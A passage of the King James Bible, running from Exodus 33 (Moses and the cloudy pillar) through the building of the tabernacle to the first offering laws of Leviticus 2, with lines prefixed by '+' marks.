tabernacle, the +cloudy pillar descended, and stood at the door of the tabernacle, and +the Lord talked with Moses. + +33:10 And all the people saw the cloudy pillar stand at the tabernacle +door: and all the people rose up and worshipped, every man in his tent +door. + +33:11 And the LORD spake unto Moses face to face, as a man speaketh +unto his friend. And he turned again into the camp: but his servant +Joshua, the son of Nun, a young man, departed not out of the +tabernacle. + +33:12 And Moses said unto the LORD, See, thou sayest unto me, Bring up +this people: and thou hast not let me know whom thou wilt send with +me. Yet thou hast said, I know thee by name, and thou hast also found +grace in my sight. + +33:13 Now therefore, I pray thee, if I have found grace in thy sight, +shew me now thy way, that I may know thee, that I may find grace in +thy sight: and consider that this nation is thy people. + +33:14 And he said, My presence shall go with thee, and I will give +thee rest. + +33:15 And he said unto him, If thy presence go not with me, carry us +not up hence. + +33:16 For wherein shall it be known here that I and thy people have +found grace in thy sight? is it not in that thou goest with us? so +shall we be separated, I and thy people, from all the people that are +upon the face of the earth. + +33:17 And the LORD said unto Moses, I will do this thing also that +thou hast spoken: for thou hast found grace in my sight, and I know +thee by name. + +33:18 And he said, I beseech thee, shew me thy glory. + +33:19 And he said, I will make all my goodness pass before thee, and I +will proclaim the name of the LORD before thee; and will be gracious +to whom I will be gracious, and will shew mercy on whom I will shew +mercy. + +33:20 And he said, Thou canst not see my face: for there shall no man +see me, and live. + +33:21 And the LORD said, Behold, there is a place by me, and thou +shalt stand upon a rock: 33:22 And it shall come to pass, while my +glory passeth by, that I will put thee in a clift of the rock, and +will cover thee with my hand while I pass by: 33:23 And I will take +away mine hand, and thou shalt see my back parts: but my face shall +not be seen. + +34:1 And the LORD said unto Moses, Hew thee two tables of stone like +unto the first: and I will write upon these tables the words that were +in the first tables, which thou brakest. + +34:2 And be ready in the morning, and come up in the morning unto +mount Sinai, and present thyself there to me in the top of the mount. + +34:3 And no man shall come up with thee, neither let any man be seen +throughout all the mount; neither let the flocks nor herds feed before +that mount. + +34:4 And he hewed two tables of stone like unto the first; and Moses +rose up early in the morning, and went up unto mount Sinai, as the +LORD had commanded him, and took in his hand the two tables of stone. + +34:5 And the LORD descended in the cloud, and stood with him there, +and proclaimed the name of the LORD. + +34:6 And the LORD passed by before him, and proclaimed, The LORD, The +LORD God, merciful and gracious, longsuffering, and abundant in +goodness and truth, 34:7 Keeping mercy for thousands, forgiving +iniquity and transgression and sin, and that will by no means clear +the guilty; visiting the iniquity of the fathers upon the children, +and upon the children's children, unto the third and to the fourth +generation. + +34:8 And Moses made haste, and bowed his head toward the earth, and +worshipped. + +34:9 And he said, If now I have found grace in thy sight, O LORD, let +my LORD, I pray thee, go among us; for it is a stiffnecked people; and +pardon our iniquity and our sin, and take us for thine inheritance. + +34:10 And he said, Behold, I make a covenant: before all thy people I +will do marvels, such as have not been done in all the earth, nor in +any nation: and all the people among which thou art shall see the work +of the LORD: for it is a terrible thing that I will do with thee. + +34:11 Observe thou that which I command thee this day: behold, I drive +out before thee the Amorite, and the Canaanite, and the Hittite, and +the Perizzite, and the Hivite, and the Jebusite. + +34:12 Take heed to thyself, lest thou make a covenant with the +inhabitants of the land whither thou goest, lest it be for a snare in +the midst of thee: 34:13 But ye shall destroy their altars, break +their images, and cut down their groves: 34:14 For thou shalt worship +no other god: for the LORD, whose name is Jealous, is a jealous God: +34:15 Lest thou make a covenant with the inhabitants of the land, and +they go a whoring after their gods, and do sacrifice unto their gods, +and one call thee, and thou eat of his sacrifice; 34:16 And thou take +of their daughters unto thy sons, and their daughters go a whoring +after their gods, and make thy sons go a whoring after their gods. + +34:17 Thou shalt make thee no molten gods. + +34:18 The feast of unleavened bread shalt thou keep. Seven days thou +shalt eat unleavened bread, as I commanded thee, in the time of the +month Abib: for in the month Abib thou camest out from Egypt. + +34:19 All that openeth the matrix is mine; and every firstling among +thy cattle, whether ox or sheep, that is male. + +34:20 But the firstling of an ass thou shalt redeem with a lamb: and +if thou redeem him not, then shalt thou break his neck. All the +firstborn of thy sons thou shalt redeem. And none shall appear before +me empty. + +34:21 Six days thou shalt work, but on the seventh day thou shalt +rest: in earing time and in harvest thou shalt rest. + +34:22 And thou shalt observe the feast of weeks, of the firstfruits of +wheat harvest, and the feast of ingathering at the year's end. + +34:23 Thrice in the year shall all your menchildren appear before the +LORD God, the God of Israel. + +34:24 For I will cast out the nations before thee, and enlarge thy +borders: neither shall any man desire thy land, when thou shalt go up +to appear before the LORD thy God thrice in the year. + +34:25 Thou shalt not offer the blood of my sacrifice with leaven; +neither shall the sacrifice of the feast of the passover be left unto +the morning. + +34:26 The first of the firstfruits of thy land thou shalt bring unto +the house of the LORD thy God. Thou shalt not seethe a kid in his +mother's milk. + +34:27 And the LORD said unto Moses, Write thou these words: for after +the tenor of these words I have made a covenant with thee and with +Israel. + +34:28 And he was there with the LORD forty days and forty nights; he +did neither eat bread, nor drink water. And he wrote upon the tables +the words of the covenant, the ten commandments. + +34:29 And it came to pass, when Moses came down from mount Sinai with +the two tables of testimony in Moses' hand, when he came down from the +mount, that Moses wist not that the skin of his face shone while he +talked with him. + +34:30 And when Aaron and all the children of Israel saw Moses, behold, +the skin of his face shone; and they were afraid to come nigh him. + +34:31 And Moses called unto them; and Aaron and all the rulers of the +congregation returned unto him: and Moses talked with them. + +34:32 And afterward all the children of Israel came nigh: and he gave +them in commandment all that the LORD had spoken with him in mount +Sinai. + +34:33 And till Moses had done speaking with them, he put a vail on his +face. + +34:34 But when Moses went in before the LORD to speak with him, he +took the vail off, until he came out. And he came out, and spake unto +the children of Israel that which he was commanded. + +34:35 And the children of Israel saw the face of Moses, that the skin +of Moses' face shone: and Moses put the vail upon his face again, +until he went in to speak with him. + +35:1 And Moses gathered all the congregation of the children of Israel +together, and said unto them, These are the words which the LORD hath +commanded, that ye should do them. + +35:2 Six days shall work be done, but on the seventh day there shall +be to you an holy day, a sabbath of rest to the LORD: whosoever doeth +work therein shall be put to death. + +35:3 Ye shall kindle no fire throughout your habitations upon the +sabbath day. + +35:4 And Moses spake unto all the congregation of the children of +Israel, saying, This is the thing which the LORD commanded, saying, +35:5 Take ye from among you an offering unto the LORD: whosoever is of +a willing heart, let him bring it, an offering of the LORD; gold, and +silver, and brass, 35:6 And blue, and purple, and scarlet, and fine +linen, and goats' hair, 35:7 And rams' skins dyed red, and badgers' +skins, and shittim wood, 35:8 And oil for the light, and spices for +anointing oil, and for the sweet incense, 35:9 And onyx stones, and +stones to be set for the ephod, and for the breastplate. + +35:10 And every wise hearted among you shall come, and make all that +the LORD hath commanded; 35:11 The tabernacle, his tent, and his +covering, his taches, and his boards, his bars, his pillars, and his +sockets, 35:12 The ark, and the staves thereof, with the mercy seat, +and the vail of the covering, 35:13 The table, and his staves, and all +his vessels, and the shewbread, 35:14 The candlestick also for the +light, and his furniture, and his lamps, with the oil for the light, +35:15 And the incense altar, and his staves, and the anointing oil, +and the sweet incense, and the hanging for the door at the entering in +of the tabernacle, 35:16 The altar of burnt offering, with his brasen +grate, his staves, and all his vessels, the laver and his foot, 35:17 +The hangings of the court, his pillars, and their sockets, and the +hanging for the door of the court, 35:18 The pins of the tabernacle, +and the pins of the court, and their cords, 35:19 The cloths of +service, to do service in the holy place, the holy garments for Aaron +the priest, and the garments of his sons, to minister in the priest's +office. + +35:20 And all the congregation of the children of Israel departed from +the presence of Moses. + +35:21 And they came, every one whose heart stirred him up, and every +one whom his spirit made willing, and they brought the LORD's offering +to the work of the tabernacle of the congregation, and for all his +service, and for the holy garments. + +35:22 And they came, both men and women, as many as were willing +hearted, and brought bracelets, and earrings, and rings, and tablets, +all jewels of gold: and every man that offered offered an offering of +gold unto the LORD. + +35:23 And every man, with whom was found blue, and purple, and +scarlet, and fine linen, and goats' hair, and red skins of rams, and +badgers' skins, brought them. + +35:24 Every one that did offer an offering of silver and brass brought +the LORD's offering: and every man, with whom was found shittim wood +for any work of the service, brought it. + +35:25 And all the women that were wise hearted did spin with their +hands, and brought that which they had spun, both of blue, and of +purple, and of scarlet, and of fine linen. + +35:26 And all the women whose heart stirred them up in wisdom spun +goats' hair. + +35:27 And the rulers brought onyx stones, and stones to be set, for +the ephod, and for the breastplate; 35:28 And spice, and oil for the +light, and for the anointing oil, and for the sweet incense. + +35:29 The children of Israel brought a willing offering unto the LORD, +every man and woman, whose heart made them willing to bring for all +manner of work, which the LORD had commanded to be made by the hand of +Moses. + +35:30 And Moses said unto the children of Israel, See, the LORD hath +called by name Bezaleel the son of Uri, the son of Hur, of the tribe +of Judah; 35:31 And he hath filled him with the spirit of God, in +wisdom, in understanding, and in knowledge, and in all manner of +workmanship; 35:32 And to devise curious works, to work in gold, and +in silver, and in brass, 35:33 And in the cutting of stones, to set +them, and in carving of wood, to make any manner of cunning work. + +35:34 And he hath put in his heart that he may teach, both he, and +Aholiab, the son of Ahisamach, of the tribe of Dan. + +35:35 Them hath he filled with wisdom of heart, to work all manner of +work, of the engraver, and of the cunning workman, and of the +embroiderer, in blue, and in purple, in scarlet, and in fine linen, +and of the weaver, even of them that do any work, and of those that +devise cunning work. + +36:1 Then wrought Bezaleel and Aholiab, and every wise hearted man, in +whom the LORD put wisdom and understanding to know how to work all +manner of work for the service of the sanctuary, according to all that +the LORD had commanded. + +36:2 And Moses called Bezaleel and Aholiab, and every wise hearted +man, in whose heart the LORD had put wisdom, even every one whose +heart stirred him up to come unto the work to do it: 36:3 And they +received of Moses all the offering, which the children of Israel had +brought for the work of the service of the sanctuary, to make it +withal. And they brought yet unto him free offerings every morning. + +36:4 And all the wise men, that wrought all the work of the sanctuary, +came every man from his work which they made; 36:5 And they spake unto +Moses, saying, The people bring much more than enough for the service +of the work, which the LORD commanded to make. + +36:6 And Moses gave commandment, and they caused it to be proclaimed +throughout the camp, saying, Let neither man nor woman make any more +work for the offering of the sanctuary. So the people were restrained +from bringing. + +36:7 For the stuff they had was sufficient for all the work to make +it, and too much. + +36:8 And every wise hearted man among them that wrought the work of +the tabernacle made ten curtains of fine twined linen, and blue, and +purple, and scarlet: with cherubims of cunning work made he them. + +36:9 The length of one curtain was twenty and eight cubits, and the +breadth of one curtain four cubits: the curtains were all of one size. + +36:10 And he coupled the five curtains one unto another: and the other +five curtains he coupled one unto another. + +36:11 And he made loops of blue on the edge of one curtain from the +selvedge in the coupling: likewise he made in the uttermost side of +another curtain, in the coupling of the second. + +36:12 Fifty loops made he in one curtain, and fifty loops made he in +the edge of the curtain which was in the coupling of the second: the +loops held one curtain to another. + +36:13 And he made fifty taches of gold, and coupled the curtains one +unto another with the taches: so it became one tabernacle. + +36:14 And he made curtains of goats' hair for the tent over the +tabernacle: eleven curtains he made them. + +36:15 The length of one curtain was thirty cubits, and four cubits was +the breadth of one curtain: the eleven curtains were of one size. + +36:16 And he coupled five curtains by themselves, and six curtains by +themselves. + +36:17 And he made fifty loops upon the uttermost edge of the curtain +in the coupling, and fifty loops made he upon the edge of the curtain +which coupleth the second. + +36:18 And he made fifty taches of brass to couple the tent together, +that it might be one. + +36:19 And he made a covering for the tent of rams' skins dyed red, and +a covering of badgers' skins above that. + +36:20 And he made boards for the tabernacle of shittim wood, standing +up. + +36:21 The length of a board was ten cubits, and the breadth of a board +one cubit and a half. + +36:22 One board had two tenons, equally distant one from another: thus +did he make for all the boards of the tabernacle. + +36:23 And he made boards for the tabernacle; twenty boards for the +south side southward: 36:24 And forty sockets of silver he made under +the twenty boards; two sockets under one board for his two tenons, and +two sockets under another board for his two tenons. + +36:25 And for the other side of the tabernacle, which is toward the +north corner, he made twenty boards, 36:26 And their forty sockets of +silver; two sockets under one board, and two sockets under another +board. + +36:27 And for the sides of the tabernacle westward he made six boards. + +36:28 And two boards made he for the corners of the tabernacle in the +two sides. + +36:29 And they were coupled beneath, and coupled together at the head +thereof, to one ring: thus he did to both of them in both the corners. + +36:30 And there were eight boards; and their sockets were sixteen +sockets of silver, under every board two sockets. + +36:31 And he made bars of shittim wood; five for the boards of the one +side of the tabernacle, 36:32 And five bars for the boards of the +other side of the tabernacle, and five bars for the boards of the +tabernacle for the sides westward. + +36:33 And he made the middle bar to shoot through the boards from the +one end to the other. + +36:34 And he overlaid the boards with gold, and made their rings of +gold to be places for the bars, and overlaid the bars with gold. + +36:35 And he made a vail of blue, and purple, and scarlet, and fine +twined linen: with cherubims made he it of cunning work. + +36:36 And he made thereunto four pillars of shittim wood, and overlaid +them with gold: their hooks were of gold; and he cast for them four +sockets of silver. + +36:37 And he made an hanging for the tabernacle door of blue, and +purple, and scarlet, and fine twined linen, of needlework; 36:38 And +the five pillars of it with their hooks: and he overlaid their +chapiters and their fillets with gold: but their five sockets were of +brass. + +37:1 And Bezaleel made the ark of shittim wood: two cubits and a half +was the length of it, and a cubit and a half the breadth of it, and a +cubit and a half the height of it: 37:2 And he overlaid it with pure +gold within and without, and made a crown of gold to it round about. + +37:3 And he cast for it four rings of gold, to be set by the four +corners of it; even two rings upon the one side of it, and two rings +upon the other side of it. + +37:4 And he made staves of shittim wood, and overlaid them with gold. + +37:5 And he put the staves into the rings by the sides of the ark, to +bear the ark. + +37:6 And he made the mercy seat of pure gold: two cubits and a half +was the length thereof, and one cubit and a half the breadth thereof. + +37:7 And he made two cherubims of gold, beaten out of one piece made +he them, on the two ends of the mercy seat; 37:8 One cherub on the end +on this side, and another cherub on the other end on that side: out of +the mercy seat made he the cherubims on the two ends thereof. + +37:9 And the cherubims spread out their wings on high, and covered +with their wings over the mercy seat, with their faces one to another; +even to the mercy seatward were the faces of the cherubims. + +37:10 And he made the table of shittim wood: two cubits was the length +thereof, and a cubit the breadth thereof, and a cubit and a half the +height thereof: 37:11 And he overlaid it with pure gold, and made +thereunto a crown of gold round about. + +37:12 Also he made thereunto a border of an handbreadth round about; +and made a crown of gold for the border thereof round about. + +37:13 And he cast for it four rings of gold, and put the rings upon +the four corners that were in the four feet thereof. + +37:14 Over against the border were the rings, the places for the +staves to bear the table. + +37:15 And he made the staves of shittim wood, and overlaid them with +gold, to bear the table. + +37:16 And he made the vessels which were upon the table, his dishes, +and his spoons, and his bowls, and his covers to cover withal, of pure +gold. + +37:17 And he made the candlestick of pure gold: of beaten work made he +the candlestick; his shaft, and his branch, his bowls, his knops, and +his flowers, were of the same: 37:18 And six branches going out of the +sides thereof; three branches of the candlestick out of the one side +thereof, and three branches of the candlestick out of the other side +thereof: 37:19 Three bowls made after the fashion of almonds in one +branch, a knop and a flower; and three bowls made like almonds in +another branch, a knop and a flower: so throughout the six branches +going out of the candlestick. + +37:20 And in the candlestick were four bowls made like almonds, his +knops, and his flowers: 37:21 And a knop under two branches of the +same, and a knop under two branches of the same, and a knop under two +branches of the same, according to the six branches going out of it. + +37:22 Their knops and their branches were of the same: all of it was +one beaten work of pure gold. + +37:23 And he made his seven lamps, and his snuffers, and his +snuffdishes, of pure gold. + +37:24 Of a talent of pure gold made he it, and all the vessels +thereof. + +37:25 And he made the incense altar of shittim wood: the length of it +was a cubit, and the breadth of it a cubit; it was foursquare; and two +cubits was the height of it; the horns thereof were of the same. + +37:26 And he overlaid it with pure gold, both the top of it, and the +sides thereof round about, and the horns of it: also he made unto it a +crown of gold round about. + +37:27 And he made two rings of gold for it under the crown thereof, by +the two corners of it, upon the two sides thereof, to be places for +the staves to bear it withal. + +37:28 And he made the staves of shittim wood, and overlaid them with +gold. + +37:29 And he made the holy anointing oil, and the pure incense of +sweet spices, according to the work of the apothecary. + +38:1 And he made the altar of burnt offering of shittim wood: five +cubits was the length thereof, and five cubits the breadth thereof; it +was foursquare; and three cubits the height thereof. + +38:2 And he made the horns thereof on the four corners of it; the +horns thereof were of the same: and he overlaid it with brass. + +38:3 And he made all the vessels of the altar, the pots, and the +shovels, and the basons, and the fleshhooks, and the firepans: all the +vessels thereof made he of brass. + +38:4 And he made for the altar a brasen grate of network under the +compass thereof beneath unto the midst of it. + +38:5 And he cast four rings for the four ends of the grate of brass, +to be places for the staves. + +38:6 And he made the staves of shittim wood, and overlaid them with +brass. + +38:7 And he put the staves into the rings on the sides of the altar, +to bear it withal; he made the altar hollow with boards. + +38:8 And he made the laver of brass, and the foot of it of brass, of +the lookingglasses of the women assembling, which assembled at the +door of the tabernacle of the congregation. + +38:9 And he made the court: on the south side southward the hangings +of the court were of fine twined linen, an hundred cubits: 38:10 Their +pillars were twenty, and their brasen sockets twenty; the hooks of the +pillars and their fillets were of silver. + +38:11 And for the north side the hangings were an hundred cubits, +their pillars were twenty, and their sockets of brass twenty; the +hooks of the pillars and their fillets of silver. + +38:12 And for the west side were hangings of fifty cubits, their +pillars ten, and their sockets ten; the hooks of the pillars and their +fillets of silver. + +38:13 And for the east side eastward fifty cubits. + +38:14 The hangings of the one side of the gate were fifteen cubits; +their pillars three, and their sockets three. + +38:15 And for the other side of the court gate, on this hand and that +hand, were hangings of fifteen cubits; their pillars three, and their +sockets three. + +38:16 All the hangings of the court round about were of fine twined +linen. + +38:17 And the sockets for the pillars were of brass; the hooks of the +pillars and their fillets of silver; and the overlaying of their +chapiters of silver; and all the pillars of the court were filleted +with silver. + +38:18 And the hanging for the gate of the court was needlework, of +blue, and purple, and scarlet, and fine twined linen: and twenty +cubits was the length, and the height in the breadth was five cubits, +answerable to the hangings of the court. + +38:19 And their pillars were four, and their sockets of brass four; +their hooks of silver, and the overlaying of their chapiters and their +fillets of silver. + +38:20 And all the pins of the tabernacle, and of the court round +about, were of brass. + +38:21 This is the sum of the tabernacle, even of the tabernacle of +testimony, as it was counted, according to the commandment of Moses, +for the service of the Levites, by the hand of Ithamar, son to Aaron +the priest. + +38:22 And Bezaleel the son Uri, the son of Hur, of the tribe of Judah, +made all that the LORD commanded Moses. + +38:23 And with him was Aholiab, son of Ahisamach, of the tribe of Dan, +an engraver, and a cunning workman, and an embroiderer in blue, and in +purple, and in scarlet, and fine linen. + +38:24 All the gold that was occupied for the work in all the work of +the holy place, even the gold of the offering, was twenty and nine +talents, and seven hundred and thirty shekels, after the shekel of the +sanctuary. + +38:25 And the silver of them that were numbered of the congregation +was an hundred talents, and a thousand seven hundred and threescore +and fifteen shekels, after the shekel of the sanctuary: 38:26 A bekah +for every man, that is, half a shekel, after the shekel of the +sanctuary, for every one that went to be numbered, from twenty years +old and upward, for six hundred thousand and three thousand and five +hundred and fifty men. + +38:27 And of the hundred talents of silver were cast the sockets of +the sanctuary, and the sockets of the vail; an hundred sockets of the +hundred talents, a talent for a socket. + +38:28 And of the thousand seven hundred seventy and five shekels he +made hooks for the pillars, and overlaid their chapiters, and filleted +them. + +38:29 And the brass of the offering was seventy talents, and two +thousand and four hundred shekels. + +38:30 And therewith he made the sockets to the door of the tabernacle +of the congregation, and the brasen altar, and the brasen grate for +it, and all the vessels of the altar, 38:31 And the sockets of the +court round about, and the sockets of the court gate, and all the pins +of the tabernacle, and all the pins of the court round about. + +39:1 And of the blue, and purple, and scarlet, they made cloths of +service, to do service in the holy place, and made the holy garments +for Aaron; as the LORD commanded Moses. + +39:2 And he made the ephod of gold, blue, and purple, and scarlet, and +fine twined linen. + +39:3 And they did beat the gold into thin plates, and cut it into +wires, to work it in the blue, and in the purple, and in the scarlet, +and in the fine linen, with cunning work. + +39:4 They made shoulderpieces for it, to couple it together: by the +two edges was it coupled together. + +39:5 And the curious girdle of his ephod, that was upon it, was of the +same, according to the work thereof; of gold, blue, and purple, and +scarlet, and fine twined linen; as the LORD commanded Moses. + +39:6 And they wrought onyx stones inclosed in ouches of gold, graven, +as signets are graven, with the names of the children of Israel. + +39:7 And he put them on the shoulders of the ephod, that they should +be stones for a memorial to the children of Israel; as the LORD +commanded Moses. + +39:8 And he made the breastplate of cunning work, like the work of the +ephod; of gold, blue, and purple, and scarlet, and fine twined linen. + +39:9 It was foursquare; they made the breastplate double: a span was +the length thereof, and a span the breadth thereof, being doubled. + +39:10 And they set in it four rows of stones: the first row was a +sardius, a topaz, and a carbuncle: this was the first row. + +39:11 And the second row, an emerald, a sapphire, and a diamond. + +39:12 And the third row, a ligure, an agate, and an amethyst. + +39:13 And the fourth row, a beryl, an onyx, and a jasper: they were +inclosed in ouches of gold in their inclosings. + +39:14 And the stones were according to the names of the children of +Israel, twelve, according to their names, like the engravings of a +signet, every one with his name, according to the twelve tribes. + +39:15 And they made upon the breastplate chains at the ends, of +wreathen work of pure gold. + +39:16 And they made two ouches of gold, and two gold rings; and put +the two rings in the two ends of the breastplate. + +39:17 And they put the two wreathen chains of gold in the two rings on +the ends of the breastplate. + +39:18 And the two ends of the two wreathen chains they fastened in the +two ouches, and put them on the shoulderpieces of the ephod, before +it. + +39:19 And they made two rings of gold, and put them on the two ends of +the breastplate, upon the border of it, which was on the side of the +ephod inward. + +39:20 And they made two other golden rings, and put them on the two +sides of the ephod underneath, toward the forepart of it, over against +the other coupling thereof, above the curious girdle of the ephod. + +39:21 And they did bind the breastplate by his rings unto the rings of +the ephod with a lace of blue, that it might be above the curious +girdle of the ephod, and that the breastplate might not be loosed from +the ephod; as the LORD commanded Moses. + +39:22 And he made the robe of the ephod of woven work, all of blue. + +39:23 And there was an hole in the midst of the robe, as the hole of +an habergeon, with a band round about the hole, that it should not +rend. + +39:24 And they made upon the hems of the robe pomegranates of blue, +and purple, and scarlet, and twined linen. + +39:25 And they made bells of pure gold, and put the bells between the +pomegranates upon the hem of the robe, round about between the +pomegranates; 39:26 A bell and a pomegranate, a bell and a +pomegranate, round about the hem of the robe to minister in; as the +LORD commanded Moses. + +39:27 And they made coats of fine linen of woven work for Aaron, and +for his sons, 39:28 And a mitre of fine linen, and goodly bonnets of +fine linen, and linen breeches of fine twined linen, 39:29 And a +girdle of fine twined linen, and blue, and purple, and scarlet, of +needlework; as the LORD commanded Moses. + +39:30 And they made the plate of the holy crown of pure gold, and +wrote upon it a writing, like to the engravings of a signet, HOLINESS +TO THE LORD. + +39:31 And they tied unto it a lace of blue, to fasten it on high upon +the mitre; as the LORD commanded Moses. + +39:32 Thus was all the work of the tabernacle of the tent of the +congregation finished: and the children of Israel did according to all +that the LORD commanded Moses, so did they. + +39:33 And they brought the tabernacle unto Moses, the tent, and all +his furniture, his taches, his boards, his bars, and his pillars, and +his sockets, 39:34 And the covering of rams' skins dyed red, and the +covering of badgers' skins, and the vail of the covering, 39:35 The +ark of the testimony, and the staves thereof, and the mercy seat, +39:36 The table, and all the vessels thereof, and the shewbread, 39:37 +The pure candlestick, with the lamps thereof, even with the lamps to +be set in order, and all the vessels thereof, and the oil for light, +39:38 And the golden altar, and the anointing oil, and the sweet +incense, and the hanging for the tabernacle door, 39:39 The brasen +altar, and his grate of brass, his staves, and all his vessels, the +laver and his foot, 39:40 The hangings of the court, his pillars, and +his sockets, and the hanging for the court gate, his cords, and his +pins, and all the vessels of the service of the tabernacle, for the +tent of the congregation, 39:41 The cloths of service to do service in +the holy place, and the holy garments for Aaron the priest, and his +sons' garments, to minister in the priest's office. + +39:42 According to all that the LORD commanded Moses, so the children +of Israel made all the work. + +39:43 And Moses did look upon all the work, and, behold, they had done +it as the LORD had commanded, even so had they done it: and Moses +blessed them. + +40:1 And the LORD spake unto Moses, saying, 40:2 On the first day of +the first month shalt thou set up the tabernacle of the tent of the +congregation. + +40:3 And thou shalt put therein the ark of the testimony, and cover +the ark with the vail. + +40:4 And thou shalt bring in the table, and set in order the things +that are to be set in order upon it; and thou shalt bring in the +candlestick, and light the lamps thereof. + +40:5 And thou shalt set the altar of gold for the incense before the +ark of the testimony, and put the hanging of the door to the +tabernacle. + +40:6 And thou shalt set the altar of the burnt offering before the +door of the tabernacle of the tent of the congregation. + +40:7 And thou shalt set the laver between the tent of the congregation +and the altar, and shalt put water therein. + +40:8 And thou shalt set up the court round about, and hang up the +hanging at the court gate. + +40:9 And thou shalt take the anointing oil, and anoint the tabernacle, +and all that is therein, and shalt hallow it, and all the vessels +thereof: and it shall be holy. + +40:10 And thou shalt anoint the altar of the burnt offering, and all +his vessels, and sanctify the altar: and it shall be an altar most +holy. + +40:11 And thou shalt anoint the laver and his foot, and sanctify it. + +40:12 And thou shalt bring Aaron and his sons unto the door of the +tabernacle of the congregation, and wash them with water. + +40:13 And thou shalt put upon Aaron the holy garments, and anoint him, +and sanctify him; that he may minister unto me in the priest's office. + +40:14 And thou shalt bring his sons, and clothe them with coats: 40:15 +And thou shalt anoint them, as thou didst anoint their father, that +they may minister unto me in the priest's office: for their anointing +shall surely be an everlasting priesthood throughout their +generations. + +40:16 Thus did Moses: according to all that the LORD commanded him, so +did he. + +40:17 And it came to pass in the first month in the second year, on +the first day of the month, that the tabernacle was reared up. + +40:18 And Moses reared up the tabernacle, and fastened his sockets, +and set up the boards thereof, and put in the bars thereof, and reared +up his pillars. + +40:19 And he spread abroad the tent over the tabernacle, and put the +covering of the tent above upon it; as the LORD commanded Moses. + +40:20 And he took and put the testimony into the ark, and set the +staves on the ark, and put the mercy seat above upon the ark: 40:21 +And he brought the ark into the tabernacle, and set up the vail of the +covering, and covered the ark of the testimony; as the LORD commanded +Moses. + +40:22 And he put the table in the tent of the congregation, upon the +side of the tabernacle northward, without the vail. + +40:23 And he set the bread in order upon it before the LORD; as the +LORD had commanded Moses. + +40:24 And he put the candlestick in the tent of the congregation, over +against the table, on the side of the tabernacle southward. + +40:25 And he lighted the lamps before the LORD; as the LORD commanded +Moses. + +40:26 And he put the golden altar in the tent of the congregation +before the vail: 40:27 And he burnt sweet incense thereon; as the LORD +commanded Moses. + +40:28 And he set up the hanging at the door of the tabernacle. + +40:29 And he put the altar of burnt offering by the door of the +tabernacle of the tent of the congregation, and offered upon it the +burnt offering and the meat offering; as the LORD commanded Moses. + +40:30 And he set the laver between the tent of the congregation and +the altar, and put water there, to wash withal. + +40:31 And Moses and Aaron and his sons washed their hands and their +feet thereat: 40:32 When they went into the tent of the congregation, +and when they came near unto the altar, they washed; as the LORD +commanded Moses. + +40:33 And he reared up the court round about the tabernacle and the +altar, and set up the hanging of the court gate. So Moses finished the +work. + +40:34 Then a cloud covered the tent of the congregation, and the glory +of the LORD filled the tabernacle. + +40:35 And Moses was not able to enter into the tent of the +congregation, because the cloud abode thereon, and the glory of the +LORD filled the tabernacle. + +40:36 And when the cloud was taken up from over the tabernacle, the +children of Israel went onward in all their journeys: 40:37 But if the +cloud were not taken up, then they journeyed not till the day that it +was taken up. + +40:38 For the cloud of the LORD was upon the tabernacle by day, and +fire was on it by night, in the sight of all the house of Israel, +throughout all their journeys. + + + + +The Third Book of Moses: Called Leviticus + + +1:1 And the LORD called unto Moses, and spake unto him out of the +tabernacle of the congregation, saying, 1:2 Speak unto the children of +Israel, and say unto them, If any man of you bring an offering unto +the LORD, ye shall bring your offering of the cattle, even of the +herd, and of the flock. + +1:3 If his offering be a burnt sacrifice of the herd, let him offer a +male without blemish: he shall offer it of his own voluntary will at +the door of the tabernacle of the congregation before the LORD. + +1:4 And he shall put his hand upon the head of the burnt offering; and +it shall be accepted for him to make atonement for him. + +1:5 And he shall kill the bullock before the LORD: and the priests, +Aaron's sons, shall bring the blood, and sprinkle the blood round +about upon the altar that is by the door of the tabernacle of the +congregation. + +1:6 And he shall flay the burnt offering, and cut it into his pieces. + +1:7 And the sons of Aaron the priest shall put fire upon the altar, +and lay the wood in order upon the fire: 1:8 And the priests, Aaron's +sons, shall lay the parts, the head, and the fat, in order upon the +wood that is on the fire which is upon the altar: 1:9 But his inwards +and his legs shall he wash in water: and the priest shall burn all on +the altar, to be a burnt sacrifice, an offering made by fire, of a +sweet savour unto the LORD. + +1:10 And if his offering be of the flocks, namely, of the sheep, or of +the goats, for a burnt sacrifice; he shall bring it a male without +blemish. + +1:11 And he shall kill it on the side of the altar northward before +the LORD: and the priests, Aaron's sons, shall sprinkle his blood +round about upon the altar. + +1:12 And he shall cut it into his pieces, with his head and his fat: +and the priest shall lay them in order on the wood that is on the fire +which is upon the altar: 1:13 But he shall wash the inwards and the +legs with water: and the priest shall bring it all, and burn it upon +the altar: it is a burnt sacrifice, an offering made by fire, of a +sweet savour unto the LORD. + +1:14 And if the burnt sacrifice for his offering to the LORD be of +fowls, then he shall bring his offering of turtledoves, or of young +pigeons. + +1:15 And the priest shall bring it unto the altar, and wring off his +head, and burn it on the altar; and the blood thereof shall be wrung +out at the side of the altar: 1:16 And he shall pluck away his crop +with his feathers, and cast it beside the altar on the east part, by +the place of the ashes: 1:17 And he shall cleave it with the wings +thereof, but shall not divide it asunder: and the priest shall burn it +upon the altar, upon the wood that is upon the fire: it is a burnt +sacrifice, an offering made by fire, of a sweet savour unto the LORD. + +2:1 And when any will offer a meat offering unto the LORD, his +offering shall be of fine flour; and he shall pour oil upon it, and +put frankincense thereon: 2:2 And he shall bring it to Aaron's sons +the priests: and he shall take thereout his handful of the flour +thereof, and of the oil thereof, with all the frankincense thereof; +and the priest shall burn the memorial of it upon the altar, to be an +offering made by fire, of a sweet savour unto the LORD: 2:3 And the +remnant of the meat offering shall be Aaron's and his sons': it is a +thing most holy of the offerings of the LORD made by fire. + +2:4 And if thou bring an oblation of a meat offering baken in the +oven, it shall be unleavened cakes of fine flour mingled with oil, or +unleavened wafers anointed with oil. + +2:5 And if thy oblation be a meat offering baken in a pan, it shall be +of fine flour unleavened, mingled with oil. + +2:6 Thou shalt part it in pieces, and pour oil thereon: it is a meat +offering. + +2:7 And if thy oblation be a meat offering baken in the fryingpan, it +shall be made of fine flour with oil. + +2:8 And thou shalt bring the meat offering that is made of these +things unto the LORD: and when it is presented unto the priest, he +shall bring it unto the altar. + +2:9 And the priest shall take from the meat offering a memorial +thereof, and shall burn it upon the altar: it is an offering made by +fire, of a sweet savour unto the LORD. + +2:10 And that which is left of the meat offering shall be Aaron's and +his sons': it is a thing most holy of the offerings of the LORD made +by fire. + +2:11 No meat offering, which ye shall bring unto the LORD, shall be +made with leaven: for ye shall burn no leaven, nor any honey, in any +offering of the LORD made by fire. + +2:12 As for the oblation of the firstfruits, ye shall offer them unto +the 